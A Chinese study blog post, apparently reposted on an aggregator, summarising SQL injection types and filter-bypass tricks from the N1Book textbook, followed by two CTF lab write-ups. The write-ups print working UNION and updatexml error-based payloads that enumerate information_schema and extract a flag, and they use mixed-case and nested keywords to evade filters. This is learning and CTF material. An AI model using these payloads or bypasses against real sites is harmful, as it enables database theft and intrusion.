N1Book Web-SQL注入
Posted BlueSkyscape
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了N1Book Web-SQL注入相关的知识,希望对你有一定的参考价值。
0X00 说明
距离上次的笔记隔了很长时间,这段时间在准备一个比赛和一门课的期末考试,其实书上的知识点早就看完了,一直没什么时间整理,因此拖到现在,下次的笔记可能还要拖了,又要准备下一周的考试了。
本期的笔记就是在网页经常存在的SQL注入的基础知识点和注入的办法,其实书上讲的很详细还有注入点的位置,我这就没有写出来。
0X01 笔记
一、SQL注入基础
1.数字型注入
一般都是通过HTTP的GET方式输入id的值,从数字运算这个特征来判断该注入点是数字型注入
关键:找到输入的参数点,然后通过加、减等运算,判断输入参数附近没有引号包裹。
2.UNION注入
使用UNION语句将数据展示到页面上
在使用UNION时要注意有的浏览器会将特殊字符进行URL编码,所以在构造payload时要先进行转换;
当我们不知道数据库结构,但在mysql5.0版本后,默认自带一个数据库information_schema,MySQL的所有数据库名、表名和字段名都在里面,更加方便了SQL注入。
3.字符型注入
在GET参数输入的地方包裹了单引号使其成为字符串,当等号两边类型不一致就会发生强制转换,是判断注入点的方法。
4.布尔盲注
简单来说就是猜测数据,通过页面回显来判断;当然这样速度太慢可以使用小于符号来缩减范围,用二分法来猜测;实际上数据不可能为一个字符,这就要使用MySQL自带的函数进行截取,substring()、mid()、substr()。
5.时间盲注
回显内容一致时就需要新的注入来判断了,那就是时间注入,通过sleep()函数,利用IF或AND、OR函数的短路特性和SQL执行的时间以此判断。
6.报错注入
都说是报错,那肯定是触发SQL语句的错误在页面上看到错误信息。这时就可以使用updatexml函数的特性来引发报错的同时将传入的参数进行输出。
7.堆叠注入
这是一种特殊的注入情况,当目标开启多语句执行时,可以采用多语句执行的方式修改数据库的任意结构和数据。
以上的注入情况都要基于开发者在写数据库时对传入的过滤不严格导致的。
二、注入方法
1.字符替换
●只过滤了空格:在代码中不止空格代替空白符还有URL编码中的%0a、%0b、%0c、%0d、%09、%a0和、/**/组合、括号等(注:%a0需要在特定的字符集才能使用)
●将select替换为空:这种情况常用嵌套方式来处理,如:selselectect
●大小写匹配:当关键字不区分大小写,只匹配大写或小写时,就可以使用大小写混搭绕过
●正则匹配:select可以使用/*!50000select*/的方式来代替
●用反斜杠替换单引号或双引号
2.逃逸引号
●编码解码:数据库一般都会有解码函数或自定义的加解密函数,我们就可以使用addslashes函数,使用时数据处于编码无法转义,解码后直接进入SQL语句就可造成注入。
●意料之外的输入点
●二次注入
●字符串拦截
0X02 靶场练习
0X021 SQL注入-1
打开题目,想都没想就先用数字型的注入试试,发现页面没什么变化。
不过还好,还有个字符型的注入检测方法,添加引号后,果然有所变化了,没有回显信息。
那就使用#将其后面的命令 都注释掉,有显示了;说明存在字符型的注入了。
一般字符型注入和union联合注入是一起使用的,先写个测试一下。
上面的有所反应,那就可以开始操作一手了,构造payload查询数据表的内容。
?id=-2%27union%20select%201,group_concat(table_name),1%20from%20information_schema.tables%20where%20table_schema=database()%23
查到了表的信息,修改一下查询字段的信息。
id=-2%27union%20select%201,group_concat(column_name),1%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%23
有了上面有个查询的信息,基本上就可以知道flag放在那里了,写个SQL语句执行一下,即可以得到flag。
?id=-2%27union%20select%201,fllllag,1%20from%20fl4g%23
0X022 SQL注入-2
这道SQL注入对我来说很有难度,不过也给我补上了盲区,讲真的我是在看完wp之后才慢慢做出来的,操作真的很秀,是个很好的题目。
打开链接,有一个登陆界面,试了数字型和字符型注入检测,没什么反应,完了,那就看看页面代码有什么好消息吧,不错还有个提示。
那就抓个包,在网址里面加上提示的?tips=1,返回的时候发现出现了报错,那就是报错注入了。
是报错注入那肯定就要用上updatexml函数了,用上后果然有回显
接下来这么做我就麻了,之前没怎么碰过报错注入,看了wp我更烦了什么是dual?百度之后才知道:(Dual就是一个空表。它是Oracle提供的最小的工作表。它只有一行和一列。它通常用于通过select语句计算常量表达式。)但一般的常见使用数据库可不是Oracle数据库都是MySQL,尝试之后肯定不是了,那咋办,还好网上还有一篇文章解救了,使用"1"来代替"*"就可以在MySQL数据库中使用了。
and updatexml(1,concat(0x7e,(select * from dual)),1)#
好景不长啊,刚解决一个麻烦,又来一个了,说SQL语法有错误,那就可能SQL语句被进行了替换。
and updatexml(1,concat(0x7e,(select 1 from dual)),1)#
wp是使用select嵌套方法来解决问题的,我后来试了一下使用大小混乱写也能通过过滤问题。
解决了过滤的问题接下就简单多了,直接构造SQL语句查询数据库的名字,数据库中表的名字,字段的名字,知道了这两个那就可以直接查询我想要的东西了。
and updatexml(1,concat(0x7e,(sEleCt database())),1)#
and updatexml(1,concat(0x7e,(sEleCt group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
and updatexml(1,concat(0x7e,(sEleCt group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)#
and updatexml(1,concat(0x7e,(sEleCt flag from fl4g)),1)#
以上是关于N1Book Web-SQL注入的主要内容,如果未能解决你的问题,请参考以下文章
CTFshow刷题日记-WEB-SQL注入part1(171-184)
以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?
初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段